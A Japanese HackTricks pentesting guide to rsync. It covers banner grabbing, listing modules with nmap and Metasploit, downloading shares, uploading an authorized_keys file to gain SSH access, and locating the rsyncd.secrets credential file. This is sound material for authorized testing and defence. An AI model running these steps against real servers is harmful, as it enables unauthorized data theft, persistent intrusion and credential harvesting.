8.1 KiB
873 - Pentesting Rsync
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
**ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。
基本情報
rsyncは、コンピュータと外部ハードドライブ、およびネットワーク上のコンピュータ間でのファイルの転送と同期を効率的に行うためのユーティリティです。これは、ファイルの変更時刻とサイズを比較することによって、Unix-likeなオペレーティングシステムで一般的に見られます。rsyncアルゴリズムはデルタエンコーディングの一種であり、ネットワーク使用量を最小限に抑えるために使用されます。Zlibは追加のデータ圧縮に使用される場合があります。また、セキュリティのためにSSHまたはstunnelを使用することもできます。
wikipediaから。
デフォルトポート: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
列挙
バナーと手動通信
rsyncは、ネットワーク上でファイルを同期するための効果的なツールです。rsyncサーバーが公開されている場合、以下の手法を使用して情報を収集できます。
-
バナーバージョンの取得:rsyncサーバーに接続し、バナーバージョンを取得します。これにより、サーバーのバージョン情報が明らかになります。
-
マニュアル通信:rsyncクライアントを使用して、rsyncサーバーに接続し、手動で通信を行います。これにより、サーバーの応答やサポートされているコマンドなどの情報を取得できます。
以下のコマンドを使用して、rsyncサーバーに接続し、バナーバージョンを取得します。
rsync <IP>:<PORT>
手動通信を行うには、以下のコマンドを使用します。
rsync <IP>::
これにより、サーバーの応答が表示されます。
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
共有フォルダの列挙
rsyncモジュールは基本的にディレクトリの共有です。これらのモジュールはオプションでパスワードで保護することもできます。このオプションは利用可能なモジュールをリストし、必要に応じてモジュールへのアクセスにパスワードが必要かどうかを判断します**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
隠されているものがあるかもしれないので、共有名がリストされないように設定されている可能性があります。
アクセスするためには、(異なる)認証情報が必要ないくつかの共有名がリストされているかもしれません。したがって、常にすべてのリストされた名前にアクセスできるわけではなく、いくつかの名前にアクセスしようとすると「アクセスが拒否されました」というメッセージが表示されることに気付くでしょう。
ブルートフォース
手動Rsync
モジュールのリストを取得したら、実行するアクションと認証が必要かどうかに応じて、いくつかの異なるオプションがあります。認証が必要ない場合は、共有フォルダをリストすることができます。
rsync -av --list-only rsync://192.168.0.123/shared_name
そして、以下のコマンドを使用して、すべてのファイルをローカルマシンにコピーします。
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
これは、マシン <IP>
のディレクトリ <shared_name>
からすべてのファイルを再帰的に ./rsync_shared
ディレクトリにローカルマシンに転送します。ファイルは「アーカイブ」モードで転送されるため、シンボリックリンク、デバイス、属性、パーミッション、所有権などが転送時に保持されます。
資格情報を持っている場合、以下のコマンドを使用して共有名をリストアップ/ダウンロードすることができます(パスワードはプロンプトに表示されます):
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
あなたはrsyncを使用していくつかのコンテンツをアップロードすることもできます(たとえば、この場合、_authorized_keys_ファイルをアップロードしてボックスへのアクセスを取得できます)。
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
rsyncdの設定ファイルを見つける:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
設定ファイル内には、パラメーター_secrets file = /path/to/file_が含まれていることがあります。このファイルには、rsyncdへの認証が許可されているユーザー名とパスワードが含まれている可能性があります。